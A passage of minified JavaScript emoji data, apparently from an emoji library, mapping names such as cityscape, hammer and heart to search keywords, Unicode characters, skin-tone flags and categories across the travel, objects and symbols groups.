morning","dawn"],char:"\ud83c\udf07",fitzpatrick_scale:!1,category:"travel_and_places"},city_sunset:{keywords:["photo","evening","sky","buildings"],char:"\ud83c\udf06",fitzpatrick_scale:!1,category:"travel_and_places"},cityscape:{keywords:["photo","night life","urban"],char:"\ud83c\udfd9",fitzpatrick_scale:!1,category:"travel_and_places"},night_with_stars:{keywords:["evening","city","downtown"],char:"\ud83c\udf03",fitzpatrick_scale:!1,category:"travel_and_places"},bridge_at_night:{keywords:["photo","sanfrancisco"],char:"\ud83c\udf09",fitzpatrick_scale:!1,category:"travel_and_places"},milky_way:{keywords:["photo","space","stars"],char:"\ud83c\udf0c",fitzpatrick_scale:!1,category:"travel_and_places"},stars:{keywords:["night","photo"],char:"\ud83c\udf20",fitzpatrick_scale:!1,category:"travel_and_places"},sparkler:{keywords:["stars","night","shine"],char:"\ud83c\udf87",fitzpatrick_scale:!1,category:"travel_and_places"},fireworks:{keywords:["photo","festival","carnival","congratulations"],char:"\ud83c\udf86",fitzpatrick_scale:!1,category:"travel_and_places"},rainbow:{keywords:["nature","happy","unicorn_face","photo","sky","spring"],char:"\ud83c\udf08",fitzpatrick_scale:!1,category:"travel_and_places"},houses:{keywords:["buildings","photo"],char:"\ud83c\udfd8",fitzpatrick_scale:!1,category:"travel_and_places"},european_castle:{keywords:["building","royalty","history"],char:"\ud83c\udff0",fitzpatrick_scale:!1,category:"travel_and_places"},japanese_castle:{keywords:["photo","building"],char:"\ud83c\udfef",fitzpatrick_scale:!1,category:"travel_and_places"},stadium:{keywords:["photo","place","sports","concert","venue"],char:"\ud83c\udfdf",fitzpatrick_scale:!1,category:"travel_and_places"},statue_of_liberty:{keywords:["american","newyork"],char:"\ud83d\uddfd",fitzpatrick_scale:!1,category:"travel_and_places"},house:{keywords:["building","home"],char:"\ud83c\udfe0",fitzpatrick_scale:!1,category:"travel_and_places"},house_with_garden:{keywords:["home","plant","nature"],char:"\ud83c\udfe1",fitzpatrick_scale:!1,category:"travel_and_places"},derelict_house:{keywords:["abandon","evict","broken","building"],char:"\ud83c\udfda",fitzpatrick_scale:!1,category:"travel_and_places"},office:{keywords:["building","bureau","work"],char:"\ud83c\udfe2",fitzpatrick_scale:!1,category:"travel_and_places"},department_store:{keywords:["building","shopping","mall"],char:"\ud83c\udfec",fitzpatrick_scale:!1,category:"travel_and_places"},post_office:{keywords:["building","envelope","communication"],char:"\ud83c\udfe3",fitzpatrick_scale:!1,category:"travel_and_places"},european_post_office:{keywords:["building","email"],char:"\ud83c\udfe4",fitzpatrick_scale:!1,category:"travel_and_places"},hospital:{keywords:["building","health","surgery","doctor"],char:"\ud83c\udfe5",fitzpatrick_scale:!1,category:"travel_and_places"},bank:{keywords:["building","money","sales","cash","business","enterprise"],char:"\ud83c\udfe6",fitzpatrick_scale:!1,category:"travel_and_places"},hotel:{keywords:["building","accomodation","checkin"],char:"\ud83c\udfe8",fitzpatrick_scale:!1,category:"travel_and_places"},convenience_store:{keywords:["building","shopping","groceries"],char:"\ud83c\udfea",fitzpatrick_scale:!1,category:"travel_and_places"},school:{keywords:["building","student","education","learn","teach"],char:"\ud83c\udfeb",fitzpatrick_scale:!1,category:"travel_and_places"},love_hotel:{keywords:["like","affection","dating"],char:"\ud83c\udfe9",fitzpatrick_scale:!1,category:"travel_and_places"},wedding:{keywords:["love","like","affection","couple","marriage","bride","groom"],char:"\ud83d\udc92",fitzpatrick_scale:!1,category:"travel_and_places"},classical_building:{keywords:["art","culture","history"],char:"\ud83c\udfdb",fitzpatrick_scale:!1,category:"travel_and_places"},church:{keywords:["building","religion","christ"],char:"\u26ea",fitzpatrick_scale:!1,category:"travel_and_places"},mosque:{keywords:["islam","worship","minaret"],char:"\ud83d\udd4c",fitzpatrick_scale:!1,category:"travel_and_places"},synagogue:{keywords:["judaism","worship","temple","jewish"],char:"\ud83d\udd4d",fitzpatrick_scale:!1,category:"travel_and_places"},kaaba:{keywords:["mecca","mosque","islam"],char:"\ud83d\udd4b",fitzpatrick_scale:!1,category:"travel_and_places"},shinto_shrine:{keywords:["temple","japan","kyoto"],char:"\u26e9",fitzpatrick_scale:!1,category:"travel_and_places"},watch:{keywords:["time","accessories"],char:"\u231a",fitzpatrick_scale:!1,category:"objects"},iphone:{keywords:["technology","apple","gadgets","dial"],char:"\ud83d\udcf1",fitzpatrick_scale:!1,category:"objects"},calling:{keywords:["iphone","incoming"],char:"\ud83d\udcf2",fitzpatrick_scale:!1,category:"objects"},computer:{keywords:["technology","laptop","screen","display","monitor"],char:"\ud83d\udcbb",fitzpatrick_scale:!1,category:"objects"},keyboard:{keywords:["technology","computer","type","input","text"],char:"\u2328",fitzpatrick_scale:!1,category:"objects"},desktop_computer:{keywords:["technology","computing","screen"],char:"\ud83d\udda5",fitzpatrick_scale:!1,category:"objects"},printer:{keywords:["paper","ink"],char:"\ud83d\udda8",fitzpatrick_scale:!1,category:"objects"},computer_mouse:{keywords:["click"],char:"\ud83d\uddb1",fitzpatrick_scale:!1,category:"objects"},trackball:{keywords:["technology","trackpad"],char:"\ud83d\uddb2",fitzpatrick_scale:!1,category:"objects"},joystick:{keywords:["game","play"],char:"\ud83d\udd79",fitzpatrick_scale:!1,category:"objects"},clamp:{keywords:["tool"],char:"\ud83d\udddc",fitzpatrick_scale:!1,category:"objects"},minidisc:{keywords:["technology","record","data","disk","90s"],char:"\ud83d\udcbd",fitzpatrick_scale:!1,category:"objects"},floppy_disk:{keywords:["oldschool","technology","save","90s","80s"],char:"\ud83d\udcbe",fitzpatrick_scale:!1,category:"objects"},cd:{keywords:["technology","dvd","disk","disc","90s"],char:"\ud83d\udcbf",fitzpatrick_scale:!1,category:"objects"},dvd:{keywords:["cd","disk","disc"],char:"\ud83d\udcc0",fitzpatrick_scale:!1,category:"objects"},vhs:{keywords:["record","video","oldschool","90s","80s"],char:"\ud83d\udcfc",fitzpatrick_scale:!1,category:"objects"},camera:{keywords:["gadgets","photography"],char:"\ud83d\udcf7",fitzpatrick_scale:!1,category:"objects"},camera_flash:{keywords:["photography","gadgets"],char:"\ud83d\udcf8",fitzpatrick_scale:!1,category:"objects"},video_camera:{keywords:["film","record"],char:"\ud83d\udcf9",fitzpatrick_scale:!1,category:"objects"},movie_camera:{keywords:["film","record"],char:"\ud83c\udfa5",fitzpatrick_scale:!1,category:"objects"},film_projector:{keywords:["video","tape","record","movie"],char:"\ud83d\udcfd",fitzpatrick_scale:!1,category:"objects"},film_strip:{keywords:["movie"],char:"\ud83c\udf9e",fitzpatrick_scale:!1,category:"objects"},telephone_receiver:{keywords:["technology","communication","dial"],char:"\ud83d\udcde",fitzpatrick_scale:!1,category:"objects"},phone:{keywords:["technology","communication","dial","telephone"],char:"\u260e\ufe0f",fitzpatrick_scale:!1,category:"objects"},pager:{keywords:["bbcall","oldschool","90s"],char:"\ud83d\udcdf",fitzpatrick_scale:!1,category:"objects"},fax:{keywords:["communication","technology"],char:"\ud83d\udce0",fitzpatrick_scale:!1,category:"objects"},tv:{keywords:["technology","program","oldschool","show","television"],char:"\ud83d\udcfa",fitzpatrick_scale:!1,category:"objects"},radio:{keywords:["communication","music","podcast","program"],char:"\ud83d\udcfb",fitzpatrick_scale:!1,category:"objects"},studio_microphone:{keywords:["sing","recording","artist","talkshow"],char:"\ud83c\udf99",fitzpatrick_scale:!1,category:"objects"},level_slider:{keywords:["scale"],char:"\ud83c\udf9a",fitzpatrick_scale:!1,category:"objects"},control_knobs:{keywords:["dial"],char:"\ud83c\udf9b",fitzpatrick_scale:!1,category:"objects"},compass:{keywords:["magnetic","navigation","orienteering"],char:"\ud83e\udded",fitzpatrick_scale:!1,category:"objects"},stopwatch:{keywords:["time","deadline"],char:"\u23f1",fitzpatrick_scale:!1,category:"objects"},timer_clock:{keywords:["alarm"],char:"\u23f2",fitzpatrick_scale:!1,category:"objects"},alarm_clock:{keywords:["time","wake"],char:"\u23f0",fitzpatrick_scale:!1,category:"objects"},mantelpiece_clock:{keywords:["time"],char:"\ud83d\udd70",fitzpatrick_scale:!1,category:"objects"},hourglass_flowing_sand:{keywords:["oldschool","time","countdown"],char:"\u23f3",fitzpatrick_scale:!1,category:"objects"},hourglass:{keywords:["time","clock","oldschool","limit","exam","quiz","test"],char:"\u231b",fitzpatrick_scale:!1,category:"objects"},satellite:{keywords:["communication","future","radio","space"],char:"\ud83d\udce1",fitzpatrick_scale:!1,category:"objects"},battery:{keywords:["power","energy","sustain"],char:"\ud83d\udd0b",fitzpatrick_scale:!1,category:"objects"},electric_plug:{keywords:["charger","power"],char:"\ud83d\udd0c",fitzpatrick_scale:!1,category:"objects"},bulb:{keywords:["light","electricity","idea"],char:"\ud83d\udca1",fitzpatrick_scale:!1,category:"objects"},flashlight:{keywords:["dark","camping","sight","night"],char:"\ud83d\udd26",fitzpatrick_scale:!1,category:"objects"},candle:{keywords:["fire","wax"],char:"\ud83d\udd6f",fitzpatrick_scale:!1,category:"objects"},fire_extinguisher:{keywords:["quench"],char:"\ud83e\uddef",fitzpatrick_scale:!1,category:"objects"},wastebasket:{keywords:["bin","trash","rubbish","garbage","toss"],char:"\ud83d\uddd1",fitzpatrick_scale:!1,category:"objects"},oil_drum:{keywords:["barrell"],char:"\ud83d\udee2",fitzpatrick_scale:!1,category:"objects"},money_with_wings:{keywords:["dollar","bills","payment","sale"],char:"\ud83d\udcb8",fitzpatrick_scale:!1,category:"objects"},dollar:{keywords:["money","sales","bill","currency"],char:"\ud83d\udcb5",fitzpatrick_scale:!1,category:"objects"},yen:{keywords:["money","sales","japanese","dollar","currency"],char:"\ud83d\udcb4",fitzpatrick_scale:!1,category:"objects"},euro:{keywords:["money","sales","dollar","currency"],char:"\ud83d\udcb6",fitzpatrick_scale:!1,category:"objects"},pound:{keywords:["british","sterling","money","sales","bills","uk","england","currency"],char:"\ud83d\udcb7",fitzpatrick_scale:!1,category:"objects"},moneybag:{keywords:["dollar","payment","coins","sale"],char:"\ud83d\udcb0",fitzpatrick_scale:!1,category:"objects"},credit_card:{keywords:["money","sales","dollar","bill","payment","shopping"],char:"\ud83d\udcb3",fitzpatrick_scale:!1,category:"objects"},gem:{keywords:["blue","ruby","diamond","jewelry"],char:"\ud83d\udc8e",fitzpatrick_scale:!1,category:"objects"},balance_scale:{keywords:["law","fairness","weight"],char:"\u2696",fitzpatrick_scale:!1,category:"objects"},toolbox:{keywords:["tools","diy","fix","maintainer","mechanic"],char:"\ud83e\uddf0",fitzpatrick_scale:!1,category:"objects"},wrench:{keywords:["tools","diy","ikea","fix","maintainer"],char:"\ud83d\udd27",fitzpatrick_scale:!1,category:"objects"},hammer:{keywords:["tools","build","create"],char:"\ud83d\udd28",fitzpatrick_scale:!1,category:"objects"},hammer_and_pick:{keywords:["tools","build","create"],char:"\u2692",fitzpatrick_scale:!1,category:"objects"},hammer_and_wrench:{keywords:["tools","build","create"],char:"\ud83d\udee0",fitzpatrick_scale:!1,category:"objects"},pick:{keywords:["tools","dig"],char:"\u26cf",fitzpatrick_scale:!1,category:"objects"},nut_and_bolt:{keywords:["handy","tools","fix"],char:"\ud83d\udd29",fitzpatrick_scale:!1,category:"objects"},gear:{keywords:["cog"],char:"\u2699",fitzpatrick_scale:!1,category:"objects"},brick:{keywords:["bricks"],char:"\ud83e\uddf1",fitzpatrick_scale:!1,category:"objects"},chains:{keywords:["lock","arrest"],char:"\u26d3",fitzpatrick_scale:!1,category:"objects"},magnet:{keywords:["attraction","magnetic"],char:"\ud83e\uddf2",fitzpatrick_scale:!1,category:"objects"},gun:{keywords:["violence","weapon","pistol","revolver"],char:"\ud83d\udd2b",fitzpatrick_scale:!1,category:"objects"},bomb:{keywords:["boom","explode","explosion","terrorism"],char:"\ud83d\udca3",fitzpatrick_scale:!1,category:"objects"},firecracker:{keywords:["dynamite","boom","explode","explosion","explosive"],char:"\ud83e\udde8",fitzpatrick_scale:!1,category:"objects"},hocho:{keywords:["knife","blade","cutlery","kitchen","weapon"],char:"\ud83d\udd2a",fitzpatrick_scale:!1,category:"objects"},dagger:{keywords:["weapon"],char:"\ud83d\udde1",fitzpatrick_scale:!1,category:"objects"},crossed_swords:{keywords:["weapon"],char:"\u2694",fitzpatrick_scale:!1,category:"objects"},shield:{keywords:["protection","security"],char:"\ud83d\udee1",fitzpatrick_scale:!1,category:"objects"},smoking:{keywords:["kills","tobacco","cigarette","joint","smoke"],char:"\ud83d\udeac",fitzpatrick_scale:!1,category:"objects"},skull_and_crossbones:{keywords:["poison","danger","deadly","scary","death","pirate","evil"],char:"\u2620",fitzpatrick_scale:!1,category:"objects"},coffin:{keywords:["vampire","dead","die","death","rip","graveyard","cemetery","casket","funeral","box"],char:"\u26b0",fitzpatrick_scale:!1,category:"objects"},funeral_urn:{keywords:["dead","die","death","rip","ashes"],char:"\u26b1",fitzpatrick_scale:!1,category:"objects"},amphora:{keywords:["vase","jar"],char:"\ud83c\udffa",fitzpatrick_scale:!1,category:"objects"},crystal_ball:{keywords:["disco","party","magic","circus","fortune_teller"],char:"\ud83d\udd2e",fitzpatrick_scale:!1,category:"objects"},prayer_beads:{keywords:["dhikr","religious"],char:"\ud83d\udcff",fitzpatrick_scale:!1,category:"objects"},nazar_amulet:{keywords:["bead","charm"],char:"\ud83e\uddff",fitzpatrick_scale:!1,category:"objects"},barber:{keywords:["hair","salon","style"],char:"\ud83d\udc88",fitzpatrick_scale:!1,category:"objects"},alembic:{keywords:["distilling","science","experiment","chemistry"],char:"\u2697",fitzpatrick_scale:!1,category:"objects"},telescope:{keywords:["stars","space","zoom","science","astronomy"],char:"\ud83d\udd2d",fitzpatrick_scale:!1,category:"objects"},microscope:{keywords:["laboratory","experiment","zoomin","science","study"],char:"\ud83d\udd2c",fitzpatrick_scale:!1,category:"objects"},hole:{keywords:["embarrassing"],char:"\ud83d\udd73",fitzpatrick_scale:!1,category:"objects"},pill:{keywords:["health","medicine","doctor","pharmacy","drug"],char:"\ud83d\udc8a",fitzpatrick_scale:!1,category:"objects"},syringe:{keywords:["health","hospital","drugs","blood","medicine","needle","doctor","nurse"],char:"\ud83d\udc89",fitzpatrick_scale:!1,category:"objects"},dna:{keywords:["biologist","genetics","life"],char:"\ud83e\uddec",fitzpatrick_scale:!1,category:"objects"},microbe:{keywords:["amoeba","bacteria","germs"],char:"\ud83e\udda0",fitzpatrick_scale:!1,category:"objects"},petri_dish:{keywords:["bacteria","biology","culture","lab"],char:"\ud83e\uddeb",fitzpatrick_scale:!1,category:"objects"},test_tube:{keywords:["chemistry","experiment","lab","science"],char:"\ud83e\uddea",fitzpatrick_scale:!1,category:"objects"},thermometer:{keywords:["weather","temperature","hot","cold"],char:"\ud83c\udf21",fitzpatrick_scale:!1,category:"objects"},broom:{keywords:["cleaning","sweeping","witch"],char:"\ud83e\uddf9",fitzpatrick_scale:!1,category:"objects"},basket:{keywords:["laundry"],char:"\ud83e\uddfa",fitzpatrick_scale:!1,category:"objects"},toilet_paper:{keywords:["roll"],char:"\ud83e\uddfb",fitzpatrick_scale:!1,category:"objects"},label:{keywords:["sale","tag"],char:"\ud83c\udff7",fitzpatrick_scale:!1,category:"objects"},bookmark:{keywords:["favorite","label","save"],char:"\ud83d\udd16",fitzpatrick_scale:!1,category:"objects"},toilet:{keywords:["restroom","wc","washroom","bathroom","potty"],char:"\ud83d\udebd",fitzpatrick_scale:!1,category:"objects"},shower:{keywords:["clean","water","bathroom"],char:"\ud83d\udebf",fitzpatrick_scale:!1,category:"objects"},bathtub:{keywords:["clean","shower","bathroom"],char:"\ud83d\udec1",fitzpatrick_scale:!1,category:"objects"},soap:{keywords:["bar","bathing","cleaning","lather"],char:"\ud83e\uddfc",fitzpatrick_scale:!1,category:"objects"},sponge:{keywords:["absorbing","cleaning","porous"],char:"\ud83e\uddfd",fitzpatrick_scale:!1,category:"objects"},lotion_bottle:{keywords:["moisturizer","sunscreen"],char:"\ud83e\uddf4",fitzpatrick_scale:!1,category:"objects"},key:{keywords:["lock","door","password"],char:"\ud83d\udd11",fitzpatrick_scale:!1,category:"objects"},old_key:{keywords:["lock","door","password"],char:"\ud83d\udddd",fitzpatrick_scale:!1,category:"objects"},couch_and_lamp:{keywords:["read","chill"],char:"\ud83d\udecb",fitzpatrick_scale:!1,category:"objects"},sleeping_bed:{keywords:["bed","rest"],char:"\ud83d\udecc",fitzpatrick_scale:!0,category:"objects"},bed:{keywords:["sleep","rest"],char:"\ud83d\udecf",fitzpatrick_scale:!1,category:"objects"},door:{keywords:["house","entry","exit"],char:"\ud83d\udeaa",fitzpatrick_scale:!1,category:"objects"},bellhop_bell:{keywords:["service"],char:"\ud83d\udece",fitzpatrick_scale:!1,category:"objects"},teddy_bear:{keywords:["plush","stuffed"],char:"\ud83e\uddf8",fitzpatrick_scale:!1,category:"objects"},framed_picture:{keywords:["photography"],char:"\ud83d\uddbc",fitzpatrick_scale:!1,category:"objects"},world_map:{keywords:["location","direction"],char:"\ud83d\uddfa",fitzpatrick_scale:!1,category:"objects"},parasol_on_ground:{keywords:["weather","summer"],char:"\u26f1",fitzpatrick_scale:!1,category:"objects"},moyai:{keywords:["rock","easter island","moai"],char:"\ud83d\uddff",fitzpatrick_scale:!1,category:"objects"},shopping:{keywords:["mall","buy","purchase"],char:"\ud83d\udecd",fitzpatrick_scale:!1,category:"objects"},shopping_cart:{keywords:["trolley"],char:"\ud83d\uded2",fitzpatrick_scale:!1,category:"objects"},balloon:{keywords:["party","celebration","birthday","circus"],char:"\ud83c\udf88",fitzpatrick_scale:!1,category:"objects"},flags:{keywords:["fish","japanese","koinobori","carp","banner"],char:"\ud83c\udf8f",fitzpatrick_scale:!1,category:"objects"},ribbon:{keywords:["decoration","pink","girl","bowtie"],char:"\ud83c\udf80",fitzpatrick_scale:!1,category:"objects"},gift:{keywords:["present","birthday","christmas","xmas"],char:"\ud83c\udf81",fitzpatrick_scale:!1,category:"objects"},confetti_ball:{keywords:["festival","party","birthday","circus"],char:"\ud83c\udf8a",fitzpatrick_scale:!1,category:"objects"},tada:{keywords:["party","congratulations","birthday","magic","circus","celebration"],char:"\ud83c\udf89",fitzpatrick_scale:!1,category:"objects"},dolls:{keywords:["japanese","toy","kimono"],char:"\ud83c\udf8e",fitzpatrick_scale:!1,category:"objects"},wind_chime:{keywords:["nature","ding","spring","bell"],char:"\ud83c\udf90",fitzpatrick_scale:!1,category:"objects"},crossed_flags:{keywords:["japanese","nation","country","border"],char:"\ud83c\udf8c",fitzpatrick_scale:!1,category:"objects"},izakaya_lantern:{keywords:["light","paper","halloween","spooky"],char:"\ud83c\udfee",fitzpatrick_scale:!1,category:"objects"},red_envelope:{keywords:["gift"],char:"\ud83e\udde7",fitzpatrick_scale:!1,category:"objects"},email:{keywords:["letter","postal","inbox","communication"],char:"\u2709\ufe0f",fitzpatrick_scale:!1,category:"objects"},envelope_with_arrow:{keywords:["email","communication"],char:"\ud83d\udce9",fitzpatrick_scale:!1,category:"objects"},incoming_envelope:{keywords:["email","inbox"],char:"\ud83d\udce8",fitzpatrick_scale:!1,category:"objects"},"e-mail":{keywords:["communication","inbox"],char:"\ud83d\udce7",fitzpatrick_scale:!1,category:"objects"},love_letter:{keywords:["email","like","affection","envelope","valentines"],char:"\ud83d\udc8c",fitzpatrick_scale:!1,category:"objects"},postbox:{keywords:["email","letter","envelope"],char:"\ud83d\udcee",fitzpatrick_scale:!1,category:"objects"},mailbox_closed:{keywords:["email","communication","inbox"],char:"\ud83d\udcea",fitzpatrick_scale:!1,category:"objects"},mailbox:{keywords:["email","inbox","communication"],char:"\ud83d\udceb",fitzpatrick_scale:!1,category:"objects"},mailbox_with_mail:{keywords:["email","inbox","communication"],char:"\ud83d\udcec",fitzpatrick_scale:!1,category:"objects"},mailbox_with_no_mail:{keywords:["email","inbox"],char:"\ud83d\udced",fitzpatrick_scale:!1,category:"objects"},package:{keywords:["mail","gift","cardboard","box","moving"],char:"\ud83d\udce6",fitzpatrick_scale:!1,category:"objects"},postal_horn:{keywords:["instrument","music"],char:"\ud83d\udcef",fitzpatrick_scale:!1,category:"objects"},inbox_tray:{keywords:["email","documents"],char:"\ud83d\udce5",fitzpatrick_scale:!1,category:"objects"},outbox_tray:{keywords:["inbox","email"],char:"\ud83d\udce4",fitzpatrick_scale:!1,category:"objects"},scroll:{keywords:["documents","ancient","history","paper"],char:"\ud83d\udcdc",fitzpatrick_scale:!1,category:"objects"},page_with_curl:{keywords:["documents","office","paper"],char:"\ud83d\udcc3",fitzpatrick_scale:!1,category:"objects"},bookmark_tabs:{keywords:["favorite","save","order","tidy"],char:"\ud83d\udcd1",fitzpatrick_scale:!1,category:"objects"},receipt:{keywords:["accounting","expenses"],char:"\ud83e\uddfe",fitzpatrick_scale:!1,category:"objects"},bar_chart:{keywords:["graph","presentation","stats"],char:"\ud83d\udcca",fitzpatrick_scale:!1,category:"objects"},chart_with_upwards_trend:{keywords:["graph","presentation","stats","recovery","business","economics","money","sales","good","success"],char:"\ud83d\udcc8",fitzpatrick_scale:!1,category:"objects"},chart_with_downwards_trend:{keywords:["graph","presentation","stats","recession","business","economics","money","sales","bad","failure"],char:"\ud83d\udcc9",fitzpatrick_scale:!1,category:"objects"},page_facing_up:{keywords:["documents","office","paper","information"],char:"\ud83d\udcc4",fitzpatrick_scale:!1,category:"objects"},date:{keywords:["calendar","schedule"],char:"\ud83d\udcc5",fitzpatrick_scale:!1,category:"objects"},calendar:{keywords:["schedule","date","planning"],char:"\ud83d\udcc6",fitzpatrick_scale:!1,category:"objects"},spiral_calendar:{keywords:["date","schedule","planning"],char:"\ud83d\uddd3",fitzpatrick_scale:!1,category:"objects"},card_index:{keywords:["business","stationery"],char:"\ud83d\udcc7",fitzpatrick_scale:!1,category:"objects"},card_file_box:{keywords:["business","stationery"],char:"\ud83d\uddc3",fitzpatrick_scale:!1,category:"objects"},ballot_box:{keywords:["election","vote"],char:"\ud83d\uddf3",fitzpatrick_scale:!1,category:"objects"},file_cabinet:{keywords:["filing","organizing"],char:"\ud83d\uddc4",fitzpatrick_scale:!1,category:"objects"},clipboard:{keywords:["stationery","documents"],char:"\ud83d\udccb",fitzpatrick_scale:!1,category:"objects"},spiral_notepad:{keywords:["memo","stationery"],char:"\ud83d\uddd2",fitzpatrick_scale:!1,category:"objects"},file_folder:{keywords:["documents","business","office"],char:"\ud83d\udcc1",fitzpatrick_scale:!1,category:"objects"},open_file_folder:{keywords:["documents","load"],char:"\ud83d\udcc2",fitzpatrick_scale:!1,category:"objects"},card_index_dividers:{keywords:["organizing","business","stationery"],char:"\ud83d\uddc2",fitzpatrick_scale:!1,category:"objects"},newspaper_roll:{keywords:["press","headline"],char:"\ud83d\uddde",fitzpatrick_scale:!1,category:"objects"},newspaper:{keywords:["press","headline"],char:"\ud83d\udcf0",fitzpatrick_scale:!1,category:"objects"},notebook:{keywords:["stationery","record","notes","paper","study"],char:"\ud83d\udcd3",fitzpatrick_scale:!1,category:"objects"},closed_book:{keywords:["read","library","knowledge","textbook","learn"],char:"\ud83d\udcd5",fitzpatrick_scale:!1,category:"objects"},green_book:{keywords:["read","library","knowledge","study"],char:"\ud83d\udcd7",fitzpatrick_scale:!1,category:"objects"},blue_book:{keywords:["read","library","knowledge","learn","study"],char:"\ud83d\udcd8",fitzpatrick_scale:!1,category:"objects"},orange_book:{keywords:["read","library","knowledge","textbook","study"],char:"\ud83d\udcd9",fitzpatrick_scale:!1,category:"objects"},notebook_with_decorative_cover:{keywords:["classroom","notes","record","paper","study"],char:"\ud83d\udcd4",fitzpatrick_scale:!1,category:"objects"},ledger:{keywords:["notes","paper"],char:"\ud83d\udcd2",fitzpatrick_scale:!1,category:"objects"},books:{keywords:["literature","library","study"],char:"\ud83d\udcda",fitzpatrick_scale:!1,category:"objects"},open_book:{keywords:["book","read","library","knowledge","literature","learn","study"],char:"\ud83d\udcd6",fitzpatrick_scale:!1,category:"objects"},safety_pin:{keywords:["diaper"],char:"\ud83e\uddf7",fitzpatrick_scale:!1,category:"objects"},link:{keywords:["rings","url"],char:"\ud83d\udd17",fitzpatrick_scale:!1,category:"objects"},paperclip:{keywords:["documents","stationery"],char:"\ud83d\udcce",fitzpatrick_scale:!1,category:"objects"},paperclips:{keywords:["documents","stationery"],char:"\ud83d\udd87",fitzpatrick_scale:!1,category:"objects"},scissors:{keywords:["stationery","cut"],char:"\u2702\ufe0f",fitzpatrick_scale:!1,category:"objects"},triangular_ruler:{keywords:["stationery","math","architect","sketch"],char:"\ud83d\udcd0",fitzpatrick_scale:!1,category:"objects"},straight_ruler:{keywords:["stationery","calculate","length","math","school","drawing","architect","sketch"],char:"\ud83d\udccf",fitzpatrick_scale:!1,category:"objects"},abacus:{keywords:["calculation"],char:"\ud83e\uddee",fitzpatrick_scale:!1,category:"objects"},pushpin:{keywords:["stationery","mark","here"],char:"\ud83d\udccc",fitzpatrick_scale:!1,category:"objects"},round_pushpin:{keywords:["stationery","location","map","here"],char:"\ud83d\udccd",fitzpatrick_scale:!1,category:"objects"},triangular_flag_on_post:{keywords:["mark","milestone","place"],char:"\ud83d\udea9",fitzpatrick_scale:!1,category:"objects"},white_flag:{keywords:["losing","loser","lost","surrender","give up","fail"],char:"\ud83c\udff3",fitzpatrick_scale:!1,category:"objects"},black_flag:{keywords:["pirate"],char:"\ud83c\udff4",fitzpatrick_scale:!1,category:"objects"},rainbow_flag:{keywords:["flag","rainbow","pride","gay","lgbt","glbt","queer","homosexual","lesbian","bisexual","transgender"],char:"\ud83c\udff3\ufe0f\u200d\ud83c\udf08",fitzpatrick_scale:!1,category:"objects"},closed_lock_with_key:{keywords:["security","privacy"],char:"\ud83d\udd10",fitzpatrick_scale:!1,category:"objects"},lock:{keywords:["security","password","padlock"],char:"\ud83d\udd12",fitzpatrick_scale:!1,category:"objects"},unlock:{keywords:["privacy","security"],char:"\ud83d\udd13",fitzpatrick_scale:!1,category:"objects"},lock_with_ink_pen:{keywords:["security","secret"],char:"\ud83d\udd0f",fitzpatrick_scale:!1,category:"objects"},pen:{keywords:["stationery","writing","write"],char:"\ud83d\udd8a",fitzpatrick_scale:!1,category:"objects"},fountain_pen:{keywords:["stationery","writing","write"],char:"\ud83d\udd8b",fitzpatrick_scale:!1,category:"objects"},black_nib:{keywords:["pen","stationery","writing","write"],char:"\u2712\ufe0f",fitzpatrick_scale:!1,category:"objects"},memo:{keywords:["write","documents","stationery","pencil","paper","writing","legal","exam","quiz","test","study","compose"],char:"\ud83d\udcdd",fitzpatrick_scale:!1,category:"objects"},pencil2:{keywords:["stationery","write","paper","writing","school","study"],char:"\u270f\ufe0f",fitzpatrick_scale:!1,category:"objects"},crayon:{keywords:["drawing","creativity"],char:"\ud83d\udd8d",fitzpatrick_scale:!1,category:"objects"},paintbrush:{keywords:["drawing","creativity","art"],char:"\ud83d\udd8c",fitzpatrick_scale:!1,category:"objects"},mag:{keywords:["search","zoom","find","detective"],char:"\ud83d\udd0d",fitzpatrick_scale:!1,category:"objects"},mag_right:{keywords:["search","zoom","find","detective"],char:"\ud83d\udd0e",fitzpatrick_scale:!1,category:"objects"},heart:{keywords:["love","like","valentines"],char:"\u2764\ufe0f",fitzpatrick_scale:!1,category:"symbols"},orange_heart:{keywords:["love","like","affection","valentines"],char:"\ud83e\udde1",fitzpatrick_scale:!1,category:"symbols"},yellow_heart:{keywords:["love","like","affection","valentines"],char:"\ud83d\udc9b",fitzpatrick_scale:!1,category:"symbols"},green_heart:{keywords:["love","like","affection","valentines"],char:"\ud83d\udc9a",fitzpatrick_scale:!1,category:"symbols"},blue_heart:{keywords:["love","like","affection","valentines"],char:"\ud83d\udc99",fitzpatrick_scale:!1,category:"symbols"},purple_heart:{keywords:["love","like","affection","valentines"],char:"\ud83d\udc9c",fitzpatrick_scale:!1,category:"symbols"},black_heart:{keywords:["evil"],char:"\ud83d\udda4",fitzpatrick_scale:!1,category:"symbols"},broken_heart:{keywords:["sad","sorry","break","heart","heartbreak"],char:"\ud83d\udc94",fitzpatrick_scale:!1,category:"symbols"},heavy_heart_exclamation:{keywords:["decoration","love"],char:"\u2763",fitzpatrick_scale:!1,category:"symbols"},two_hearts:{keywords:["love","like","affection","valentines","heart"],char:"\ud83d\udc95",fitzpatrick_scale:!1,category:"symbols"},revolving_hearts:{keywords:["love","like","affection","valentines"],char:"\ud83d\udc9e",fitzpatrick_scale:!1,category:"symbols"},heartbeat:{keywords:["love","like","affection","valentines","pink","heart"],char:"\ud83d\udc93",fitzpatrick_scale:!1,category:"symbols"},heartpulse:{keywords:["like","love","affection","valentines","pink"],char:"\ud83d\udc97",fitzpatrick_scale:!1,category:"symbols"},sparkling_heart:{keywords:["love","like","affection","valentines"],char:"\ud83d\udc96",fitzpatrick_scale:!1,category:"symbols"},cupid:{keywords:["love","like","heart","affection","valentines"],char:"\ud83d\udc98",fitzpatrick_scale:!1,category:"symbols"},gift_heart:{keywords:["love","valentines"],char:"\ud83d\udc9d",fitzpatrick_scale:!1,category:"symbols"},heart_decoration:{keywords:["purple-square","love","like"],char:"\ud83d\udc9f",fitzpatrick_scale:!1,category:"symbols"},peace_symbol:{keywords:["hippie"],char:"\u262e",fitzpatrick_scale:!1,category:"symbols"},latin_cross:{keywords:["christianity"],char:"\u271d",fitzpatrick_scale:!1,category:"symbols"},star_and_crescent:{keywords:["islam"],char:"\u262a",fitzpatrick_scale:!1,category:"symbols"},om:{keywords:["hinduism","buddhism","sikhism","jainism"],char:"\ud83d\udd49",fitzpatrick_scale:!1,category:"symbols"},wheel_of_dharma:{keywords:["hinduism","buddhism","sikhism","jainism"],char:"\u2638",fitzpatrick_scale:!1,category:"symbols"},star_of_david:{keywords:["judaism"],char:"\u2721",fitzpatrick_scale:!1,category:"symbols"},six_pointed_star:{keywords:["purple-square","religion","jewish","hexagram"],char:"\ud83d\ud